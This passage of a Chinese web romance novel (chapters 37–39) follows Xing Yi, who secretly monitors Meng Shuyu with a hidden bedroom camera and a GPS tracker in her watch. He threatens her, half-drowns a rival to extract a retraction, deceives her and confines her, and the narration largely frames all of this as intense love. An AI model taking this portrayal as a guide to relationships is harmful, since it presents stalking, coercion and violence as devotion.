常嘉顿时黑脸:“哟,现在想起管人家啦?早干嘛去了?” 邢屹搂着自家小醉鬼,兴师问罪:“谁给她喝这么多酒?” “哟,现在知道关心小语了?”常嘉白他一眼,“也不知道是谁,跟周宜岚打得火热,还收了人家的酒店房卡,好暧昧哦。” “你是不是有病。”邢屹烦心倦目,捧起怀里人的脸蛋,平静低眸,指腹摩挲她眼尾,语气一百八十度转变,“难受吗,嗯?回家好不好?” 孟纾语觉得男人的脸一直在晃,虽然晃起来也很好看。 她时而迷糊时而清醒,知道眼前的人不是常嘉,却也昏昏沉沉,拖着软调“嗯”一声。 邢屹果断把人抱走。 她轻得过分,把她塞进车里完全不费力气。 邢屹感受着怀里人的重量,眉心拧了拧,轻轻给她放下。 她不太安分,自己摇摇晃晃爬到驾驶位,占了他的地方,抱着方向盘呓语。 “邢屹你真是个混蛋” 好端端的又骂他? 邢屹压着眉眼,顺势坐进副驾,把人拖进怀里抱着。 她坐在他腿上,不安地拧来拧去,邢屹狠下心摁住她:“到底怎么了?” 她沮丧撇嘴:“你干嘛不给我开车,我去年就拿到驾照了,我会开的” 邢屹撩开她耳边发丝,嗓音沉下:“嗯,我知道你会开。” “你当然知道。”她嘴角隐隐颤动,像流泪前的征兆,“你一直在监视我。你监视了我两年,对不对?” 邢屹安静几秒,唇边牵起一点笑,很快就了无痕迹。 “我有吗。” “你有。”她眼眶红红,注视他,“我了解你,你每次用反问的语气说话,都代表确有其事。” 假如他问心无愧,他一定会直接否认。 其实他最烦跟人掰扯,也很讨厌说谎,所以他宁愿潇洒坦荡。可当他不愿意承认的时候,他宁可避开事实,因为这样就不算说谎。 车里无端陷入沉默,孟纾语借着无言的时间,强行让自己清醒过来。 她知道,邢屹这个人就是本性难改。 可无论事实如何,彼此对视时,仅凭他一个眼神就万分蛊惑,反反复复把她拖进澄黑色的漩涡,一寸又一寸吞没她。 于是她总会在某一刻迟疑摇摆,像列车 晃动,像阳光刺眼,像荡秋千时被朋友恶作剧用力一推,在等待震荡平复的过程里,情绪总是不停迂回,无法撤退。 “每次我决定要认真喜欢你,你就让我好难过。为什么呢,明明是你强势又病态,可到头来,我却成了那个摇摆不定的人,好像是我犯错了,是我不够心狠。” 她忍不住埋头掉泪,邢屹静静看着她,宽阔胸膛忽然上下起伏,他抿唇沉出一口气,双手捧起她的脸,指腹擦去泪水。 “好了,不哭了。谁跟你说我在监视你?告诉我。” 孟纾语慢慢醒酒,忽觉后背一凉。 不能说,不能告诉他,他要是知道了,一定会使出非人手段处理对方的。 她委屈摇头:“没有谁跟我说,但我就是知道了。” 邢屹冷冷皱眉,声音却是轻的:“你知道个头。好了,别瞎猜。” 他摸摸她头发,颇具耐心地哄。 可他越是平静,就越是显得她无理取闹。 她抽泣着说:“你就回答我,到底有还是没有。你到底有没有用电子设备监视我。” 邢屹不说话了。 她鼓起勇气,双手毫无章法地掏他裤兜,固执又无助:“你的手机呢,我要看你手机。” 邢屹用力按住她的手,压在他胯骨上。 “怀疑我?”他眼底情绪变了味道,牢牢注视她,“看完之后呢,又想跑?” 孟纾语心头一冷,最后一道心理防线被他破开。 她安静几秒,忽然挣扎要走。 车门一推开,她一股脑地往外逃,没跑几步就重心不稳摔在地上。 小碎石扎着膝盖,她忍着疼痛低头喘气,邢屹立刻上前把她拎起来,但她硬是不挪窝,他被她拱起火:“你到底在闹什么?” “我没有闹!” 她哭得厉害,邢屹心底抽了一下,很快克制住,牵起她一只手腕,好脾气地哄她:“地上凉,先起来。” 她倔强地抽回手,抱着膝盖坐在地上,闷声掉泪。 降温了,冷风吹乱她披散的长发,邢屹无可奈何,低身半蹲在她面前,撩开她脸颊周围被泪水沾湿的发丝,脱下外套披在她身上,不轻不重把她摁进怀里,摸她的头发:“好了,有什么事回家再说,乖点儿。” “我不想跟你回家。你说要改的,其实一点也没改。你根本不会爱一个人。”她哭腔颤抖,推开怀抱,抬起泪湿的眼眸质问他,“你真的知道爱是什么吗?” 邢屹一言不发,喉结滚了滚。 她深呼吸,哽咽出声。 “你养的小狗偷偷逃出去,被别人害死了,你究竟是悲伤还是生气呢,究竟是心疼它的死,还是气它不够乖?你根本就不爱它,你只是需要它,只是想有一个东西可以在你不高兴的时候乖乖蹭过来,舔你的掌心。” “你根本就不懂什么是爱,你只是喜欢占有一切、掌控一切的感觉,你要所有人都对你言听计从,而对我,你只是把我当成一只宠物。” 邢屹嘴角微动,不露声色撇过头,看了看不远处,复又注视她。 “你想要的,什么我不能给,待在我身边就这么让你难受?至于把自己说成宠物吗?” “那你可以先回答我,你到底有没有给我安监视器吗。” 他牵起唇角,冷笑。 “到底是谁告诉你的。” 她停止哭泣,心凉了半截。 “所以你并不反思你的行为,只是觉得不该这么早就被我发现,是吗?” 邢屹默不作声,眼底情绪如一潭死水。 失落感兜头而下,孟纾语沉下心,自顾站起身,西装外套被她掀落在地,晕晕乎乎站不稳,很快就被他塞回车后座。 邢屹甩上车门,锁住了她。 他打电话给林泽,叫对方过来开车。 林泽使命必达,很快就赶了过来,虽然觉察出后座氛围很差,但还是只能若无其事坐进驾驶位,问他要去哪。 邢屹说老地方。 林泽应下来,默默往西岭度假区开。 邢屹按了几下手机,屏幕冷荧荧的光映着他阴沉眉眼,让人心头一怵。 孟纾语不知道他又要干什么,她哭了很久,已经没力气跟他对着干了。 喝了酒脑袋也很晕,她可怜巴巴靠住车窗,行驶时的晃动却让她更难受,脑子里惊涛骇浪。 邢屹伸手把她揽进怀里,她下意识推开,却被他死死抱住。 “再乱动,你的脑袋就会被我摁下去,喉咙也会被我撑破。” “想试试吗?” 邢屹冷声威胁,幽邃目光像层层堆叠的锁链,死死缠住她,让她喘不过气。 被他摁在怀里,此时此刻,他衬衫衣领散逸的清冷气息,不再让她感到安心 车程漫长。 终于到达目的地。 车子停下时,她几乎要睡着。 邢屹捏捏她的脸把她唤醒,带她下车。 乘直达电梯上到酒店顶楼,她被邢屹带到一间套房。 邢屹让她乖乖在这儿等,又安排了几个服务生盯着她。 气氛怪异,她坐不到几分钟就开始心慌。 于是趁服务生不注意,她快速逃出去。 完全不熟悉这里,她找不到出口,迷迷糊糊经过一条长廊,隐约听见有什么东西在扑腾水花,声音听上去痛苦又挣扎。 难道 她心头一紧,循声跑去。 歪打正着闯入了室内泳池,眼前一片清冷明亮。 邢屹衣冠楚楚,撑着一只膝盖半蹲在岸边,手里摁着一个男生的后颈,手臂青筋涨起的瞬间,他狠狠把人按进水里。 水面炸起一通水花气泡,卓耀明被泳池里的水呛得双耳涨红,他双手被绑在背后费劲挣扎,腿也一直踢蹬,可惜无济于事。 邢屹故意让他把耳朵露出水面,波澜不惊地质问他:“今晚跟她碰面了?对她说了什么,让我也听听?” 为了让他说话,邢屹拽着他头发把他提起来。 卓耀明双眼猩红,连连咳嗽,恨得破口大骂:“邢屹你他妈的、你疯了!” 下一秒又被按回水里,画面触目惊心。 孟纾语僵在不远处,后退几步撞到冰冷的白瓷墙上。 动静凌乱,邢屹掀起眼皮看过来。 眼神微微变化。 他索性把人从水里拽出来,脸庞对着孟纾语的方向:“正好,对她说。” 卓耀明已经被折腾成一滩烂泥,迫不得已开启了自保模式,奄奄一息道:“对、对不起,小语,我是胡说八道的,没有人监视你,没有” 声响在泳池里泛起回音。 孟纾语哆哆嗦嗦站不稳,很快就耳鸣了,她闭了闭眼,贴着墙面慢慢滑坐下去。 不知不觉,邢屹已经走过来,一只沾满水的手青筋遍布,伸过来,不动声色牵起她的手腕:“起来。” 她借力,慢慢站起来,肩膀在抖,视线避开他,一直看着地面。 邢屹在她额上吻了一记。 “听见了吗,他说他是胡说的。” 孟纾语浑身无力,声音小得几乎听不见:“你觉得我会信吗。你把他威胁成那样,如果他不那么说,你会让他活命吗。” 邢屹低笑一声。 “我有那么坏吗。小语,你总是不信我。” “是你总是骗我。” “我有吗。好了,现在什么问题都解决了,误会也解开了。跟我回家?” 她生涩吞咽一下,身心木然,一路被他牵着走。 刚刚走出建筑大门,望见朝前延伸的路灯,她突然挣开他的手,不顾一切往前跑去。 没有听见追上来的脚步声,她头也不回地跑到停车的地方。 林泽在车前踱步,抬头被迎面跑来的姑娘吓了一跳。 “孟小姐,你怎么了?” 她气喘吁吁拉开车门:“林助,拜托你送我去别的地方,现在马上就走。” 林泽大概猜到发生了什么,迟疑几秒就坐回驾驶位。 他只是拿钱办事的私人助理,弄不好会有被解雇的风险,孟纾语不想让他为难,开了一小段路就让他停车。 这里远离市区,林泽不敢放她在这荒郊野岭。 但一回头,孟纾语已经打开车门下去了,纤瘦身影一路奔跑,转眼就被夜色淹没。 林泽焦急折返,开了一路,轿跑急刹车。 邢屹勾着外套,不疾不徐走出度假区正大门,沐着一身月色,倦烦地按了按鼻梁。 林泽不敢说话,邢屹气定神闲上了车,靠着后座 椅背,沉沉闭上双眼,喉结轻涌:“我知道是你把她放走的。” “对不起。” “无所谓。” 邢屹缓了缓疲倦,拿出手机,点开定位程序。 屏幕里的小红点微微闪烁,他刷新一次。 红点突然消失了。 孟纾语早就把手机和腕表扔在了半路,说不定还故意摔坏了。 里面装了定位芯片。 邢屹罕见地慌了神。 狠狠踹一脚驾驶位:“你把她送去哪了?” 林泽吓得够呛:“就在附近,她下车之后我也不知道她去哪了。” 邢屹压着眉,脖颈周围的筋脉瞬间暴起。 “你把她放在这种地方?!” 没等他大动肝火拿刀捅人,林泽已经踩下油门疾速开车。 车子一路颠簸,邢屹攥着手机不停刷新,却什么也没有。 冷汗从他眉峰滴落,砸在屏幕上。 他找不到她了。 第38章 回吻好乖。 车子已经超速驾驶,仍被嫌慢。 林泽被踹了一记,灰溜溜滚到副驾。 方向盘易主,邢屹一脚油门下去,强烈的推背感让林泽目眦欲裂,还没来得及适应疾速,很快又吃了一阵急刹。 车子停在山下,引擎盖仿佛要着火。 林泽一脸“好想死”的表情,颤颤巍巍开门下车,撑着一盏路灯柱子,哇一声弯腰吐了。 邢屹洁癖严重,让他滚远点吐。 林泽心说我好可怜,能给我涨薪吗邢大少爷。 邢屹没空搭理他,额前冷汗已经沾湿发梢,他站在车前反复刷新定位程序,一无所获。轿跑前照灯光打在他身上,一时分不清是他身形踉跄还是光线频闪。 他闭眼调整呼吸,再睁开,一滴汗水浸入他眼角,血丝蔓延。 从身后这条坡路上去就是西岭山,定位标志就是在这儿消失的。 以她的胆子不敢跑太远,只会下意识凭借现有的道路继续往前。 邢屹叮嘱林泽派几个人过来帮忙找,自己打开手机电筒,转身奔向山林深处。 早晨应该下过一场雨,山路泥泞不堪,每走一步就有泥点子溅到他裤腿上,他无暇顾及,一路拨开碍眼的树枝,枝叶悉悉索索打在他肩上。 树影如鬼魅一般晃动,越往前走路径越窄,周围散落着易拉罐和塑料袋,依稀可见几道陈年模糊的脚印。 邢屹面不改色快步往前,大声喊她的名字。 “孟纾语!” 回音空泛,无人应答。 他后背的衣料早已被汗水沁湿。 山上暗藏凶险,片警在官博再三嘱咐不要随意进山,可是有些人为了流量什么事都干得出来,上周有一个新人博主借着挑战的由头凌晨登山,最后失足摔下山崖,直播中断,尸体晾了三天才被发现。 这条新闻闯进孟纾语脑海的时候,她正好看见一件挂在树枝上的登山服。 误以为是悬挂的尸体,她吓得头昏脑涨,听见刺耳的惊叫声,等她意识到那是自己的声音时,整个人已经惊慌失措摔在树丛里。 声响凌乱,膝盖磕到锐利岩石,恐惧和疼痛杂糅,仿佛汹涌浪潮将她彻底冲垮。 无助感兜头而下。如果可以,她想彻底消失在山里,第二天人间蒸发,或许只有这样,邢屹才会彻底放过她。 孟纾语浑身瘫软,伸出手却什么也抓不住,稍微一动就疼出一身冷汗。 等意识到不对劲时,才发现自己摔在一个陡峭斜坡上,完全看不清身后是山路还是悬崖。 一片漆黑,像她梦里的场景,那些凌乱刺目的字眼蜂拥而至,牢牢困住她,她开始幻听,耳边全是邢屹的声音。 ‘你要是敢逃走,会被我锁起来。’ ‘我什么时候说要放过你?’ ‘如果能把你锁在身边,我不介意给你开一张死亡证明,你公开葬礼那天就是我们两个人的婚礼,全世界只有我一个人知道你的存在。’ ‘你可以恨我,也可以心软爱上我,但你没有权利离开我。’ ‘你哭起来的样子怎么这么吸引人,如果把你绑起来,往你喉咙里捅一样东西,会不会哭得更厉害?’ ‘你逃不掉的,孟纾语。’ ——“孟纾语!” 嗓音结结实实闯入耳畔。 她惊慌回头,一束白光刺进她眼里,她下意识闭眼,邢屹神情一顿,手机扔在地上,上前掰过她膝盖检查她腿上的伤。 他眼底情绪似乎被绽开的血色刺了一下,紧锁的眉间汗水淋漓,嗓音嘶哑:“谁让你乱跑?” 孟纾语低眸抽泣,浑身紧绷,任他问什么,她都不说话,只会点头摇头。 邢屹似乎克制住情绪,黑眸放软了目光注视她:“还在跟我赌气?” 她缓缓抬眸,小幅度张开嘴唇。 想出声,却吸了一小口空气。 连续吞咽几下,竭尽全力,却什么也说不出来,喉咙好像被哽住,连发出一记轻微的低吟都十分艰涩。 邢屹似乎想到了什么,瞳孔霎时震荡,喉结硬生生滚了一遭。 他冰冷的手捧起她的脸,低声哄:“再试试,可以说话吗?” 目光纠缠,孟纾语在他沉闷的呼吸声里安静流泪。 最终,摇了摇头- 凌晨三点,医院。 医生告诉邢屹,孟纾语是因为受到精神上的强烈刺激,导致了间歇性失语症。 闻言,邢屹并不诧异。 “她有相关病史吗?”医生问。 邢屹异常冷静,冷静到仿佛失去了最后一丝活气。 他越是不露声色,一旁的林泽就越是心慌,只见邢屹勾着外套靠在诊室墙上,眨眼的同时缓慢点头。 回答医生:“有。” 她儿时的经历,他早已通过那些成长视频探知得八九不离十。 母亲去世的时候,她第一次患上失语症。 所以卓耀明才会往她课桌里放虫子刺激她发出声音,每天捉弄她“你到底是不是哑巴”。 所以她父亲才会一直把她当成难以独立的小孩子,不放心她一个人到京北上学,生怕她又出什么意外。 单人病房里,孟纾语侧躺在床上,眼睫病恹恹地耷着。 护士很贴心地用热毛巾帮她擦了手,指缝和掌心干干净净,但她稍微动一动手指,依旧闻得到山上那股苦涩的泥草味。 受伤的膝盖贴了一块软厚的纱布,一动就疼,她忍了忍,慢吞吞蜷成一团,用被子把自己紧紧裹住。 身体困倦,闭上眼却睡不着。 她睁开眼,邢屹已经走到床边,坐在面前的看护椅上,倾身,伸手碰了碰她微凉的脸颊,手指动作平和轻慢,撩开垂落在她眼前的发丝。 指尖划过,泛起轻微的痒,孟纾语颤动眼睫,目光空茫地看着他。 邢屹低垂视线看她片刻,慢条斯理拿出手机,交到她手里。 “确实给你装了监视器和定位器。”他沉声说,“定位器一直在你的手表里。但你卧室里的监视器,我很少打开。” 孟纾语怔愣几秒,指尖贴着屏幕轻轻滑动。 程序界面里的历史提醒记录一目了然。 除了有两次,监控程序提示“有人经过”外,其他都是“puppy在活动”。 意味着这两年,他打开她卧室监视器的次数不超过三次。 可是这个puppy 她心生疑惑,用他手机备忘录打字。 竖起屏幕给他看: [puppy是?] 邢屹面不改色:“是我养在纽约的小狗。两个监视器用的是同一个远程系统。” 她沉思几秒,删掉上一句,又打字问:[真的吗?] 手机冷白色的光映在他脸上,他波澜不惊:“嗯。” 两人对视几秒,她抿唇轻叹。 拿回手机,点了几下又举给他看。 [我要睡觉了‘^’] 邢屹歪头看着最后一个小表情,微微眯起眼,把手机拿了回去。 孟纾语保持侧躺姿势闭上眼,邢屹还没走,指腹蹭蹭她泛红的眼尾,语气异常温柔:“还生我气 吗?” 她脸颊贴在枕上,点点头,又摇了摇头。 “是不生气,还是不知道?” 听他这么问,她慢慢睁开眼,一只手伸出被子,乖乖竖起两根手指,比了个“二”。 是不知道的意思。 邢屹目光沉静,什么也没说,给她掖了掖被角就关灯离开病房。 脚步声逐渐远去,房门被他轻轻关上。 孟纾语抬眸看向窗外,大厦在夜幕下密集生长,顶端聚起无数盏航障灯,红光时明时灭。 邢屹没有跟她说“对不起”,却问她还生不生他的气。 好像到头来,错的还是她。 其实他心狠,手段也狠,只是这些阴暗特质被他的淡然懒散覆盖了。 他宁可把她逼到绝路再把她找回来,给她吃一点教训,哄她一次又一次妥协,也不愿让她毫发无损地脱离他的掌控。 她觉得他的病越来越严重了。 至于他说的话,她无法轻信。 puppy真的是他养在国外的小狗吗? 这个问题在她心里压了一天。 次日傍晚,邢屹抽时间接她出院。 孟纾语坐进后座,忽然听见小狗的呜呜声。 她顿时诧异,循声转头,邢屹已经把小东西塞进她怀里,还命令人家:“去,哄哄你妈。” 幼小的西高地白梗扑腾着短腿蹦过来,孟纾语慌忙接住它。 毛茸茸,暖乎乎的一小只,正踩在她怀里摇着尾巴撒娇。 她心尖一软。 手机已经在山上不知所踪,她只能拿出口袋里的小本本写字。 举到他面前:[它就是监控里提示的puppy吗?] 邢屹气定神闲:“嗯,它叫喜羊羊。” “” 都是些什么名字。 林泽一边开车,一边介绍说,喜羊羊是连夜空运回国的,没想到一回来就适应得不错,一见到她就摇尾巴。 孟纾语说不了话,只能点点头表示知道了,低头摸一摸小狗脑袋。 车程过半,她发现这根本不是回颐云公馆的路。 一时有些慌张,伸手扯扯他衣袖。 邢屹在一旁划动平板看文件,眼皮都不抬一下,直接勾住她紧张作乱的手,不经意地说,要接她去半山别墅,那里适合养病。 公司和导师那边,他都给她请好了假,近期先好好养病,至于别的,等病好了再说。 孟纾语定住,邢屹瞥她一眼,淡笑:“不愿意吗?” 沉静几秒,她低垂眼睫摇了摇头。 心知肚明,就算她不同意,他也不会给她反对的权利。 小狗在她怀里睡着了,她小心翼翼圈它在臂弯,一路观察小狗睡觉,没有用文字跟邢屹交流。 如果他说什么,她就用点头和摇头回应。 次数多了,邢屹露出一点不耐烦的神色。 又问她:“心情好了点吗。写给我看。” 她拿出小本本写字。 [好了一点点x] 邢屹懒恹恹看着这行字,勾唇浅笑。 夜幕降临,抵达半山别墅。 保姆阿姨出来接人,亲切地喊她小孟,又从她怀里接过睡醒的喜羊羊,笑着带她踏上大门前的台阶。 她回头看一眼邢屹,他靠着车身从烟盒磕出一支,路灯暖光映着他懒倦眉眼,他抬眸说:“你先进去,我抽根烟。” 孟纾语若有所思,点了点头,转身跟着保姆上去。 林泽从驾驶座下来,扶着车门,望着远处对一切浑然不觉却已经乖顺进门的身影,他轻叹:“真的可以三番两次地骗她吗?那只小狗明明就不是——” “你话太多了。” 邢屹吸了口烟,在弥漫的烟雾里微微撇过头,目光飘向远处。 林泽只好闭嘴,心想自己算不算助纣为虐?完蛋了,阎王那边的功德簿已经把他林泽的名字划掉了吧。 据他所知,这位孟小姐是被宽容和理解的爱浇灌长大的,怎么可能心甘情愿适应这样无形的牢笼。 可是没办法,他所了解的邢屹就是这样。 邢屹有着极其不正常的心理状态,他就是学不会宽容,就是要建造一所牢笼彻底困住她。只要能让孟纾语不吵不闹地留在身边,邢屹并不觉得欺骗她是什么严重的事。 她只能逐渐习惯邢屹的所作所为,而不是妄想他彻底改变。 如果她无法习惯,那他将会利用别的方式让她习惯。 反正他最不缺的就是手段。 孟纾语跟随保姆进到家里。 不对,这应该算不上家,只是邢屹的住处之一。 小狗睡醒一觉精力充沛,屁颠屁颠跟在她身后,习惯性跳上沙发,孟纾语坐下来抱住它,给它顺顺毛。 邢屹半晌才回来,他走上前,盛气凌人地把小狗抱走,让它去别的地方玩。 它闷闷不乐嗷呜一声,不敢忤逆,蹦蹦跶跶地走了。 孟纾语拿出小本本写字,给邢屹看:[家里好像没有狗粮,要现在去买吗?] “不用,一会儿有人送过来。” [好v] 她埋头写字的时候,像个认真听讲记笔记的小学生。好乖。 邢屹拿走她手里的小本子,异常闲适地坐在她身边。 两人悄无声息对视,孟纾语先一步移开视线。 忽然被他掰过脸蛋。 他打量她茫然无措的表情,哑声饶有兴味地问:“真的一点声音都发不出?” 她咽咽喉咙,点头。 有点不高兴地把他的手拿开,她站起身离开沙发,没走几步,邢屹从身后抱过来,呼吸埋在她颈侧,气音浑闷:“真可惜,听不到你的声音。” 其实还是可以发出一点声音的,只是不能说出完整的句子。 书房里,她双手撑着桌面,呜咽声被撞得七零八落。 邢屹从身后掰过她的脸深吻,咬住她颤抖的唇,低哑声线含混不清:“这样也很好听,再叫一声。” 第39章 回吻我老婆。 她很想说话,可是喉咙发紧,意识也混沌,变成只有七秒记忆的金鱼晃荡在鱼缸里。 不知是被他折腾出来的,还是失语症常见的表现。 她软得抓不稳东西,被邢屹拦腰抱住,手臂也一并被束缚着,在他怀里动弹不得。 身子像纸一样糊满了胶水,同他黏在一起,一片纤薄后背贴着他胸膛,他汗涔涔的宽肩全方位将她包裹,她回过头,涣散的双眸望向他,被他亲吻眼角,她微张着嘴唇吞吞吐吐,脸颊烫得要烧起来,他手掌贴过来抚摸,分明是一样烫。 不能出声,她决定亲他一下作为回应和安慰。 果然给他一点染料就能开作坊,邢屹追着吻回来,她被大开大合地吞噬。 连续好几个日夜都是这样度过。 邢屹给她准备了一部新手机,她琢磨片刻,不想要。 万一里面又装了定位器呢。 于是次日中午,在保姆阿姨陪同下,孟纾语亲自去线下门店购买手机。 就在她无忧无虑逛街的时候,邢屹已经到达医院诊室,跟上回负责诊断的医生谈话。 医生没料到他会再来。 上一次他实在是云淡风轻,医生一直以为他不关心女朋友,甚至先入为主给他打下了渣男标签。 外人很难看出来,邢屹一直很担心孟纾语的病。 失语症会持续影响她的沟通能力和记忆能力,万一长时间治愈不了,她今后的学业和工作怎么办。 虽然她小时候患过一次失语症,现在并没有太大的情绪波动,反而有些习以为常,但事实上,这场意外原本可以避免。 如果他没有把她吓到慌不择路,或许她就不会生病。 但不 幸的是事情已经发生。 如果她事后歇斯底里对他发脾气,摔椅子砸杯子,控诉他害她生病的事实,或许他还心安理得些。 可是她依旧很温柔,即使生病也表现得事事平常,像一只蜷在狼窝里安心睡去的羊羔,对潜在的危险浑然不觉。 她一天不康复,他就一天睡不好觉。 “邢先生,您知道她的症结在哪吗?”医生有的放矢地问。 邢屹坐在沙发椅上低眸沉默,半晌,喉结随着声音轻轻震动:“因为我。” 因为他穷追不舍,把她逼到了那么危险的地方,害她情绪失控。 因为他吓到她了。 医生轻叹一声,叮嘱他温和对待这件事,不能再用以前的方式逼迫她。 通常情况下,先把病人的情绪调整好,病才能彻底治好。 邢屹没说什么,离开医院,顺路去私人咨询室看心理医生。 别墅里是深棕调的复古式装修,能让人冷静下来。其实他已经够冷静了,从进门到坐下,全程倨傲沉稳,根本不像一个患者。 医生西装革履坐在沙发对面,先是恭恭敬敬跟邢屹问好,又心想,最近的有钱人到底怎么了,都这么有钱了,生活还不快乐吗? 真让人想不通。 上次见到邢屹,是他刚回国的时候,医生对他比较熟悉,开门见山问:“邢先生,最近又遇到什么问题了吗?” 邢屹脱下外套搭在沙发背上,靠坐着安静一会儿,目光漫无目的落在桌角的紫砂烟灰缸上,神情空泛道:“我老婆,被我气出病来了。” “” 医生心说人家同意跟你结婚了吗,就你老婆你老婆的。 但眼前的男人身份特殊背景又硬,医生还是得笑脸相迎:“为什么生气呢,您对她做了什么事?” “定位,监视。” 医生心说你有毛病吧。 不过话说回来,没病也不会主动来看医生了。 “所以她知道这件事之后,就气出病来了是吗?” “嗯。她很难过,半夜逃跑了。”邢屹波澜不惊说,“又被我捉回去了,现在患了失语症,短期内无法开口说话。” 医生皱起眉毛,拿钢笔在本上记录情况,边写边问:“您向她道歉了吗?” 邢屹撩起眼皮看过来,有点倦烦地眯起眼,语气像虚心求教:“怎样才算道歉?” “就是,跟她说对不起,或者送送礼物——” “送她一座私人海岛算不算?” 他没开玩笑,这事已经在走产权交易流程。 医生噎了一下,欲言又止。 “呃,您的做法是可行的。但问题的根源在于您的态度和行为,如果想让她彻底好起来,需要您改过自新。您改了吗?” 改了吗? 没改。 其实孟纾语没有以前好骗了,上次在酒吧停车场争论,她对他说的话,字字一针见血。 的确,他对她是百分之百的爱,外加百分之两百的占有欲。 她说他根本就不懂什么是正确的爱。 是,他一点也不懂。所以大多数情况下,他选择沉默而非反驳。 如果孟纾语想要他开口给出一份确切的回答,他也只会说,“那又怎样,无论你看透我还是恨我,只要你在我身边无处可逃,我彻底占有你,你又有什么资格跟我争辩哪种才是正确的爱。” 他知道自己心理不正常,所以从一开始就不允许孟纾语跟别的男人多说一句话。 因为这世上有千千万万个正常男人,万一她权衡利弊,最终退而求其次走向了别人,那他就不再是唯一,而是可有可无的替代。 医生了然:“所以您不希望她把爱分给别人。” “不是不希望。”他冷脸说,“是不允许。” “唔,可是根据您以往的描述,您的女朋友——” “我老婆。”邢屹冷声打断。 “好的,您的妻子。根据您以往的描述,您妻子是一个宽容善良的人,她一定爱着很多人,包括她的家人、朋友,甚至是路边的一只小猫。这样一个温柔大度的人,您是不能强迫她单方面把全部的爱付出给您的。” “是吗。” 尾音淡淡往下曳,冷静得有点瘆人。 窗外,太阳已经落山,邢屹按了按鼻梁,拿起外套起身离开 路上,林泽小心开车,时不时瞄一眼后视镜,观察后排坐着的那位祖宗。 祖宗今天平静得有点过于异常了,怕不是又有什么心事。 邢屹靠着椅背微微仰头,不知在想什么,他动了动腮帮子嚼碎薄荷糖,开口漫不经心:“从她生病那天算起,过了多久了?” 林泽细数:“有两周了。” 医生说快的话,半个月就能恢复正常。 两周,也差不多了。 “她已经回家了?”邢屹问。 “是的,一小时前逛了一趟超市,买了很多新鲜食材,现在已经回家下厨了。” 孟纾语最近太闲,除了改改论文逗逗狗,平时在家的时候就跟保姆阿姨学做菜。 锅里蒸着鳕鱼,她掀开盖子,热气扑面而来。 “是不是已经蒸熟啦?” “对,时间刚刚好,可以关火了。”保姆答完就愣了,“您可以说话啦?” 孟纾语自己也诧异。 不仅可以开口说话,还能很流利地组织语言。 半个月过去,她已经恢复正常了。 是好事也是坏事,她立刻说:“阿姨,请你不要告诉邢屹。” 保姆认真点头:“您放心,我一定不说。不过,为什么不可以告诉先生呀,他一定希望你快点好起来的。” “但我还不想跟他说话呢。” 而且正是因为这场病,他最近才有所收敛。 不远处传来啪嗒啪嗒的蹦跶声,喜羊羊叼了个玩具球,跑过来蹭她的毛绒拖鞋。 她低头一看,小圆球比刚来的时候膨胀了许多。 “喜羊羊,你好像胖了。” 很奇怪,喜羊羊对自己的名字没有太大反应。 之前也是,有几次它跑到院子里撒欢,保姆喊它回来吃饭,喊了好几声它都不回头,最后用全国通用的交流方式“嘬嘬”两声,它才发现有人在叫它,竖起耳朵屁颠屁颠跑回家。 被邢屹养了两年的小狗,最少也有两岁了,这么久了,它居然还记不住自己的名字? 孟纾语疑惑片刻,不禁往深处想。 入夜,邢屹回到家,孟纾语已经做好一桌饭菜。 温融的餐灯下,两人面对面坐着,孟纾语埋头嚼米,邢屹却一直不动筷子。 他环抱着胳膊靠坐在椅上,闲闲歪着脑袋,幽沉目光盯着她,搭起二郎腿的鞋尖时不时蹭一下她小腿。 有点痒,她往回缩了一下,抬眸,一边嚼东西一边看他,用茫然的表情提问:我脸上有东西吗? 邢屹似乎发现一点苗头,不动声色地试探:“半个月了,还是说不出话?” 她快速眨眼,心虚点头。 紧接着,从香菇炖鸡里给他夹了一块香菇,圆滚乖巧的一小朵,栽进他碗里。 有点无事献殷勤的味道了。 邢屹还是不动筷,垂眸看一眼香菇,又看看她。 迎面而来的眼神依旧捉摸不透,沉静而锋利,她无端觉得自己成了砧板上亟待开封的食材,被他用冰冷锐利的镊子抵住边缘,一层层撕开透明的保护膜。 孟纾语坚守防线,不暴露一丝弱点。 她若无其事看向他碗里的香菇。 不吃吗?这些菜可都是 她做的。 不吃就算了。 她闷闷不乐,又把香菇夹了回去。 邢屹:“?” 孟纾语看他一眼。干嘛,你不是不吃吗,夹走了你又不高兴。 相处久了,邢屹光凭一个眼神就能知道她要表达什么,她收回视线的下一秒他就黑沉着脸开始吃饭,似乎还在计较那朵被夹走的香菇。 两人相对无言,孟纾语认真吃饭,手机贴着桌面响动。 刚换了号码,孟明德就打电话过来关心她的近况。 差点就接了。 不行,她现在还不会说话,怎么可以接。 只能狠心挂断,用微信回消息。 [爸,怎么啦?] 老孟:[爸要问问你呢,最近怎么总是不接电话呀] 她只好搪塞:[最近比较忙] 老孟:[你是不是谈恋爱了?] 她手指一顿,快速回复:[没有啦] 老孟:[没事没事,你长大了,谈恋爱也没关系的。但是爸先跟你提个醒啊,咱们家的女婿,最好是宁城本地人,而且必须倒插门。] 孟纾语愣住。 老孟:[到时你结婚了,老爸陪嫁两套房一辆车,两间商铺。这条件,哪个小伙子不乐意?要是这都不乐意,那他也忒不识好歹了] “” 但是所有东西加起来,可能都不及他手腕上的一只理查德米勒值钱。 不对,为什么父亲一提结婚,她就下意识想到邢屹了。 她赶紧岔开话题:[爸,现在先不聊这个,还早呢,我还没毕业] 老孟:[好吧。对了乖乖,爸又盘了一间商铺做分店,地段可好了,市中心临街,不错吧?给你看看(照片)] 孟纾语点开图片。 应该是下午拍摄的,秋日暖阳下,商铺前的行人络绎不绝。 可是这个地段的商铺,不是那么容易就能盘下来的,看老孟这雀跃的心情,他盘下这间商铺一定没费多少力气。 孟纾语把照片递给邢屹看。 表情询问:这件事是你暗中插手办成的吗? 邢屹不冷不热扫一眼手机屏幕,挪开视线,一边夹菜一边“嗯”了声。 孟纾语默默收回手机。 老孟一直想盘一间更好的商铺,奈何总是等不到机会。 现在终于实现了,感觉老孟一夜之间年轻了十岁。 她用备忘录打字,递给他看。 [谢谢w] 邢屹掠一眼就收回视线,牵起嘴角淡嘲:“不用对我这么客气。做都做过百八十回了。” “” 邢屹淡然挑眉,用直白坦荡回应她的怔愣,仿佛在说,如果她某天因为他过人的资本而爱上他,也不是什么坏事 入夜,彼此掌心相贴,十指紧扣,邢屹把她的手压在枕边,视野被他宽阔肩膀遮了个全。床头垂吊的夜灯轻微闪动,似乎是电流接口太紧导致接触不良,邢屹起身查看。握着插座端口调整片刻又重新插回。不想黑着灯看她,看不清。 